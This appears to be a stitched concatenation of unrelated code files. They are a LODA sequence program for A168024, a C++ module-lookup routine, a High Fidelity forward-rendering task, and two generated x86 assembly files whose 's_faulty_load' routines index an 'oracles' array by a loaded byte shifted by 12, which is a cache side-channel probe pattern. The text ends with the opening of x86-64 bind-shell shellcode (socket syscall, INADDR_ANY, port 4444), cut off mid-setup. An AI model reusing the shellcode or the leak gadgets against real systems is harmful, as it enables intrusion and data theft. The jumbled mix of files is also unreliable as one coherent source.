mod $0,10
|
#include "toast/module.hpp"
using namespace std;
static vector<Toast::ModuleData> v;
static int mods_found = 0;
static void load_module_datas() {
int i = 0, current_mods = 0;
for (i = 0; i < 128; i++) {
Toast::Memory::ModuleActState state = Toast::Memory::shared()->get_module_activity_state(i);
if (state != Toast::Memory::ModuleActState::NOT_FOUND) {
current_mods = i+1;
} else {
break;
}
}
// Reload modules if any more have popped up.
if (current_mods != mods_found) {
v.clear();
for (i = 0; i < current_mods; i++) {
Toast::Memory::ModuleActState state = Toast::Memory::shared()->get_module_activity_state(i);
if (state != Toast::Memory::ModuleActState::NOT_FOUND) {
Toast::Memory::PrivatePool pool;
char buf[pool.SIZE];
Toast::Memory::copy_private_pool(i, &buf[0]);
pool.map_to(buf);
string name_str(pool.get_module_name());
string file_str(pool.get_module_filepath());
Toast::ModuleData d = { name_str, file_str, i, state };
v.push_back(d);
}
}
mods_found = current_mods;
}
}
vector<Toast::ModuleData> Toast::get_all_modules() {
load_module_datas();
return v;
}
int Toast::module_id(std::string name) {
load_module_datas();
for (Toast::ModuleData data : v) {
if (data.name == name) return data.module_idx;
}
return -1;
} |
; A168024: Noncomposite numbers in the northwestern ray of the Ulam spiral as oriented on the March 1964 cover of Scientific American.
; Submitted by Christian Krause
; 1,5,17,37,101,197,257,401,577,677,1297,1601,2917,3137,4357,5477,7057,8101,8837,12101,13457,14401,15377,15877,16901,17957,21317,22501,24337,25601,28901,30977,32401,33857,41617,42437,44101,50177,52901,55697,57601,62501,65537,67601,69697,72901,78401,80657,90001,93637,98597,106277,115601,122501,147457,148997,156817,160001,164837,176401,184901,190097,193601,197137,215297,217157,220901,224677,240101,246017,287297,295937,309137,324901,331777,341057,352837,401957,404497,414737,417317,427717,454277
lpb $0
trn $0,1
seq $0,230312 ; Squares which cannot be written as the sum of a smaller nonzero square and twice a triangular number.
mov $2,$0
mov $0,$1
lpe
mov $0,$2
mul $0,4
add $0,1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x167e9, %rsi
nop
cmp $42572, %rdi
mov (%rsi), %r11d
nop
nop
xor %r15, %r15
lea addresses_D_ht+0x2fe9, %rsi
xor $30488, %r11
mov $0x6162636465666768, %r8
movq %r8, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_A_ht+0x160e9, %rsi
lea addresses_WC_ht+0x1ca9, %rdi
nop
nop
nop
nop
inc %r8
mov $113, %rcx
rep movsw
and %rsi, %rsi
lea addresses_WC_ht+0x8ee9, %rsi
lea addresses_D_ht+0x1bdc9, %rdi
nop
nop
nop
and $20287, %r11
mov $97, %rcx
rep movsb
nop
nop
nop
add $9564, %rcx
lea addresses_WC_ht+0xe7a9, %r15
nop
nop
nop
add %r10, %r10
movb (%r15), %r11b
and $2074, %r11
lea addresses_UC_ht+0xb981, %rsi
lea addresses_UC_ht+0x86c9, %rdi
clflush (%rdi)
add $5962, %r12
mov $4, %rcx
rep movsl
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0x13f9, %r10
sub %r8, %r8
movw $0x6162, (%r10)
nop
nop
inc %r10
lea addresses_UC_ht+0x20e9, %rcx
nop
nop
nop
nop
nop
cmp $9657, %r10
mov (%rcx), %si
nop
nop
nop
dec %rcx
lea addresses_normal_ht+0x16965, %rcx
nop
sub $55817, %rsi
movl $0x61626364, (%rcx)
xor %rsi, %rsi
lea addresses_WC_ht+0x194e9, %rsi
clflush (%rsi)
nop
nop
and %r15, %r15
mov $0x6162636465666768, %r8
movq %r8, %xmm7
and $0xffffffffffffffc0, %rsi
vmovntdq %ymm7, (%rsi)
add %r15, %r15
lea addresses_normal_ht+0xdb69, %rsi
lea addresses_A_ht+0x15769, %rdi
nop
nop
nop
nop
add $61892, %r15
mov $13, %rcx
rep movsq
nop
nop
nop
sub $58451, %rdi
lea addresses_WT_ht+0x40e9, %rsi
lea addresses_WT_ht+0x146e9, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
add %r8, %r8
mov $26, %rcx
rep movsw
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r8
push %r9
push %rax
push %rbx
push %rsi
// Faulty Load
mov $0x18e90e00000006e9, %rax
clflush (%rax)
nop
nop
nop
nop
sub $20966, %rsi
mov (%rax), %r9d
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rsi
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
//
// RenderForwardTask.cpp
// render-utils/src/
//
// Created by Zach Pomerantz on 12/13/2016.
// Copyright 2016 High Fidelity, Inc.
//
// Distributed under the Apache License, Version 2.0.
// See the accompanying file LICENSE or http://www.apache.org/licenses/LICENSE-2.0.html
//
#include "RenderForwardTask.h"
#include <PerfStat.h>
#include <PathUtils.h>
#include <ViewFrustum.h>
#include <gpu/Context.h>
#include <gpu/Texture.h>
#include <graphics/ShaderConstants.h>
#include <render/ShapePipeline.h>
#include <render/FilterTask.h>
#include "RenderHifi.h"
#include "render-utils/ShaderConstants.h"
#include "StencilMaskPass.h"
#include "ZoneRenderer.h"
#include "FadeEffect.h"
#include "ToneMappingEffect.h"
#include "BackgroundStage.h"
#include "FramebufferCache.h"
#include "TextureCache.h"
#include "RenderCommonTask.h"
namespace ru {
using render_utils::slot::texture::Texture;
using render_utils::slot::buffer::Buffer;
}
namespace gr {
using graphics::slot::texture::Texture;
using graphics::slot::buffer::Buffer;
}
using namespace render;
extern void initForwardPipelines(ShapePlumber& plumber);
void RenderForwardTask::build(JobModel& task, const render::Varying& input, render::Varying& output) {
// Prepare the ShapePipelines
auto fadeEffect = DependencyManager::get<FadeEffect>();
ShapePlumberPointer shapePlumber = std::make_shared<ShapePlumber>();
initForwardPipelines(*shapePlumber);
// Unpack inputs
const auto& inputs = input.get<Input>();
// Separate the fetched items
const auto& fetchedItems = inputs.get0();
const auto& items = fetchedItems.get0();
// Extract opaques / transparents / lights / metas / overlays / background
const auto& opaques = items[RenderFetchCullSortTask::OPAQUE_SHAPE];
const auto& transparents = items[RenderFetchCullSortTask::TRANSPARENT_SHAPE];
const auto& metas = items[RenderFetchCullSortTask::META];
const auto& overlaysInFrontOpaque = items[RenderFetchCullSortTask::LAYER_FRONT_OPAQUE_SHAPE];
const auto& overlaysInFrontTransparent = items[RenderFetchCullSortTask::LAYER_FRONT_TRANSPARENT_SHAPE];
// TODO: Re enable the rendering of the HUD overlayes
// const auto& overlaysHUDOpaque = items[RenderFetchCullSortTask::LAYER_HUD_OPAQUE_SHAPE];
// const auto& overlaysHUDTransparent = items[RenderFetchCullSortTask::LAYER_HUD_TRANSPARENT_SHAPE];
// Lighting model comes next, the big configuration of the view
const auto& lightingModel = inputs[1];
// Extract the Lighting Stages Current frame ( and zones)
const auto& lightingStageInputs = inputs.get2();
// Fetch the current frame stacks from all the stages
const auto currentStageFrames = lightingStageInputs.get0();
const auto lightFrame = currentStageFrames[0];
const auto backgroundFrame = currentStageFrames[1];
const auto& zones = lightingStageInputs[1];
// First job, alter faded
fadeEffect->build(task, opaques);
// Prepare objects shared by several jobs
const auto deferredFrameTransform = task.addJob<GenerateDeferredFrameTransform>("DeferredFrameTransform");
// GPU jobs: Start preparing the main framebuffer
const auto framebuffer = task.addJob<PrepareFramebuffer>("PrepareFramebuffer");
task.addJob<PrepareForward>("PrepareForward", lightFrame);
// draw a stencil mask in hidden regions of the framebuffer.
task.addJob<PrepareStencil>("PrepareStencil", framebuffer);
// Layered Overlays
const auto nullJitter = Varying(glm::vec2(0.0f, 0.0f));
// Layered Over (in front)
const auto overlayInFrontOpaquesInputs = DrawOverlay3D::Inputs(overlaysInFrontOpaque, lightingModel, nullJitter).asVarying();
const auto overlayInFrontTransparentsInputs = DrawOverlay3D::Inputs(overlaysInFrontTransparent, lightingModel, nullJitter).asVarying();
task.addJob<DrawOverlay3D>("DrawOverlayInFrontOpaque", overlayInFrontOpaquesInputs, true);
task.addJob<DrawOverlay3D>("DrawOverlayInFrontTransparent", overlayInFrontTransparentsInputs, false);
// Draw opaques forward
const auto opaqueInputs = DrawForward::Inputs(opaques, lightingModel).asVarying();
task.addJob<DrawForward>("DrawOpaques", opaqueInputs, shapePlumber);
// Similar to light stage, background stage has been filled by several potential render items and resolved for the frame in this job
const auto backgroundInputs = DrawBackgroundStage::Inputs(lightingModel, backgroundFrame).asVarying();
task.addJob<DrawBackgroundStage>("DrawBackgroundForward", backgroundInputs);
// Draw transparent objects forward
const auto transparentInputs = DrawForward::Inputs(transparents, lightingModel).asVarying();
task.addJob<DrawForward>("DrawTransparents", transparentInputs, shapePlumber);
{ // Debug the bounds of the rendered items, still look at the zbuffer
task.addJob<DrawBounds>("DrawMetaBounds", metas);
task.addJob<DrawBounds>("DrawBounds", opaques);
task.addJob<DrawBounds>("DrawTransparentBounds", transparents);
task.addJob<DrawBounds>("DrawZones", zones);
const auto debugZoneInputs = DebugZoneLighting::Inputs(deferredFrameTransform, lightFrame, backgroundFrame).asVarying();
task.addJob<DebugZoneLighting>("DrawZoneStack", debugZoneInputs);
}
// Lighting Buffer ready for tone mapping
// Forward rendering on GLES doesn't support tonemapping to and from the same FBO, so we specify
// the output FBO as null, which causes the tonemapping to target the blit framebuffer
const auto toneMappingInputs = ToneMappingDeferred::Inputs(framebuffer, static_cast<gpu::FramebufferPointer>(nullptr) ).asVarying();
task.addJob<ToneMappingDeferred>("ToneMapping", toneMappingInputs);
// Layered Overlays
// Composite the HUD and HUD overlays
task.addJob<CompositeHUD>("HUD");
// Disable blit because we do tonemapping and compositing directly to the blit FBO
// Blit!
// task.addJob<Blit>("Blit", framebuffer);
}
void PrepareFramebuffer::run(const RenderContextPointer& renderContext, gpu::FramebufferPointer& framebuffer) {
glm::uvec2 frameSize(renderContext->args->_viewport.z, renderContext->args->_viewport.w);
// Resizing framebuffers instead of re-building them seems to cause issues with threaded rendering
if (_framebuffer && _framebuffer->getSize() != frameSize) {
_framebuffer.reset();
}
if (!_framebuffer) {
_framebuffer = gpu::FramebufferPointer(gpu::Framebuffer::create("forward"));
auto colorFormat = gpu::Element::COLOR_SRGBA_32;
auto defaultSampler = gpu::Sampler(gpu::Sampler::FILTER_MIN_MAG_POINT);
auto colorTexture =
gpu::Texture::createRenderBuffer(colorFormat, frameSize.x, frameSize.y, gpu::Texture::SINGLE_MIP, defaultSampler);
_framebuffer->setRenderBuffer(0, colorTexture);
auto depthFormat = gpu::Element(gpu::SCALAR, gpu::UINT32, gpu::DEPTH_STENCIL); // Depth24_Stencil8 texel format
auto depthTexture =
gpu::Texture::createRenderBuffer(depthFormat, frameSize.x, frameSize.y, gpu::Texture::SINGLE_MIP, defaultSampler);
_framebuffer->setDepthStencilBuffer(depthTexture, depthFormat);
}
auto args = renderContext->args;
gpu::doInBatch("PrepareFramebuffer::run", args->_context, [&](gpu::Batch& batch) {
batch.enableStereo(false);
batch.setViewportTransform(args->_viewport);
batch.setStateScissorRect(args->_viewport);
batch.setFramebuffer(_framebuffer);
batch.clearFramebuffer(gpu::Framebuffer::BUFFER_COLOR0 | gpu::Framebuffer::BUFFER_DEPTH |
gpu::Framebuffer::BUFFER_STENCIL,
vec4(vec3(0), 0), 1.0, 0, true);
});
framebuffer = _framebuffer;
}
void PrepareForward::run(const RenderContextPointer& renderContext, const Inputs& inputs) {
RenderArgs* args = renderContext->args;
gpu::doInBatch("RenderForward::Draw::run", args->_context, [&](gpu::Batch& batch) {
args->_batch = &batch;
graphics::LightPointer keySunLight;
auto lightStage = args->_scene->getStage<LightStage>();
if (lightStage) {
keySunLight = lightStage->getCurrentKeyLight(*inputs);
}
graphics::LightPointer keyAmbiLight;
if (lightStage) {
keyAmbiLight = lightStage->getCurrentAmbientLight(*inputs);
}
if (keySunLight) {
batch.setUniformBuffer(gr::Buffer::KeyLight, keySunLight->getLightSchemaBuffer());
}
if (keyAmbiLight) {
batch.setUniformBuffer(gr::Buffer::AmbientLight, keyAmbiLight->getAmbientSchemaBuffer());
if (keyAmbiLight->getAmbientMap()) {
batch.setResourceTexture(ru::Texture::Skybox, keyAmbiLight->getAmbientMap());
}
}
});
}
void DrawForward::run(const RenderContextPointer& renderContext, const Inputs& inputs) {
RenderArgs* args = renderContext->args;
const auto& inItems = inputs.get0();
const auto& lightingModel = inputs.get1();
gpu::doInBatch("DrawForward::run", args->_context, [&](gpu::Batch& batch) {
args->_batch = &batch;
// Setup projection
glm::mat4 projMat;
Transform viewMat;
args->getViewFrustum().evalProjectionMatrix(projMat);
args->getViewFrustum().evalViewTransform(viewMat);
batch.setProjectionTransform(projMat);
batch.setViewTransform(viewMat);
batch.setModelTransform(Transform());
// Setup lighting model for all items;
batch.setUniformBuffer(ru::Buffer::LightModel, lightingModel->getParametersBuffer());
// From the lighting model define a global shapeKey ORED with individiual keys
ShapeKey::Builder keyBuilder;
if (lightingModel->isWireframeEnabled()) {
keyBuilder.withWireframe();
}
ShapeKey globalKey = keyBuilder.build();
args->_globalShapeKey = globalKey._flags.to_ulong();
// Render items
renderStateSortShapes(renderContext, _shapePlumber, inItems, -1, globalKey);
args->_batch = nullptr;
args->_globalShapeKey = 0;
});
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r9
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x109d2, %rsi
nop
nop
nop
sub %r13, %r13
mov (%rsi), %ebp
nop
nop
nop
nop
dec %rax
lea addresses_WC_ht+0x1db52, %rsi
lea addresses_normal_ht+0x1d1f4, %rdi
nop
nop
nop
nop
add %r9, %r9
mov $80, %rcx
rep movsl
nop
inc %rbp
lea addresses_A_ht+0x9ad2, %rsi
lea addresses_normal_ht+0x19292, %rdi
nop
nop
nop
cmp %rbx, %rbx
mov $75, %rcx
rep movsw
sub %rcx, %rcx
lea addresses_WT_ht+0x1ebd2, %rdi
nop
nop
nop
nop
nop
cmp $64737, %rax
mov $0x6162636465666768, %r9
movq %r9, %xmm7
movups %xmm7, (%rdi)
nop
nop
nop
nop
xor $19404, %r13
lea addresses_WT_ht+0x19a32, %r13
nop
nop
and %rax, %rax
movl $0x61626364, (%r13)
nop
and %rax, %rax
lea addresses_UC_ht+0x5e16, %rdi
and $53579, %rbx
mov (%rdi), %cx
nop
nop
nop
nop
nop
add $64476, %rbx
lea addresses_D_ht+0xc3d2, %rsi
lea addresses_normal_ht+0x15cd2, %rdi
nop
nop
and $63775, %rbx
mov $75, %rcx
rep movsq
nop
nop
nop
nop
cmp $44542, %r13
lea addresses_WT_ht+0x1e80, %rcx
xor %rbx, %rbx
movw $0x6162, (%rcx)
nop
nop
add %rax, %rax
lea addresses_D_ht+0x10952, %rsi
lea addresses_WT_ht+0x1a7aa, %rdi
nop
nop
nop
nop
sub %r13, %r13
mov $126, %rcx
rep movsw
nop
nop
nop
and $15181, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %rcx
push %rdi
push %rdx
// Store
lea addresses_A+0xe3da, %rdx
nop
nop
xor %r15, %r15
movb $0x51, (%rdx)
nop
nop
nop
cmp $13217, %r8
// Store
lea addresses_WC+0x19392, %rcx
nop
nop
and $7148, %rdi
movl $0x51525354, (%rcx)
nop
sub $52740, %rcx
// Store
mov $0xb52, %rdi
xor %r8, %r8
movb $0x51, (%rdi)
nop
nop
nop
nop
add $20091, %rdx
// Load
lea addresses_WC+0x11aea, %rcx
nop
nop
nop
nop
dec %rdx
mov (%rcx), %edi
nop
nop
nop
nop
nop
cmp $45570, %r12
// Store
lea addresses_PSE+0xd712, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
movb $0x51, (%rdi)
nop
sub $8458, %r15
// Faulty Load
lea addresses_WC+0x8bd2, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
xor %rcx, %rcx
mov (%rdx), %r8d
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_P'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
global _start
_start:
;mov rax, 41
;mov rdi, 2
;mov rsi, 1
;mov rdx, 0
; clear rax and use its lower 8 bits to zero other registers used
; for the socket syscall with number 41
xor rax, rax
mov dil, 2 ; set %rdi to AF_INET
mov sil, al
inc sil ; set %rsi to SOCK_STREAM
mov dl, al ; set %rdx to 0
add rax, 41 ; set %rax to 41, socket syscall
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
; mov dword [rsp-4], eax
; mov word [rsp-6], 0x5c11
; mov word [rsp-8], 0x2
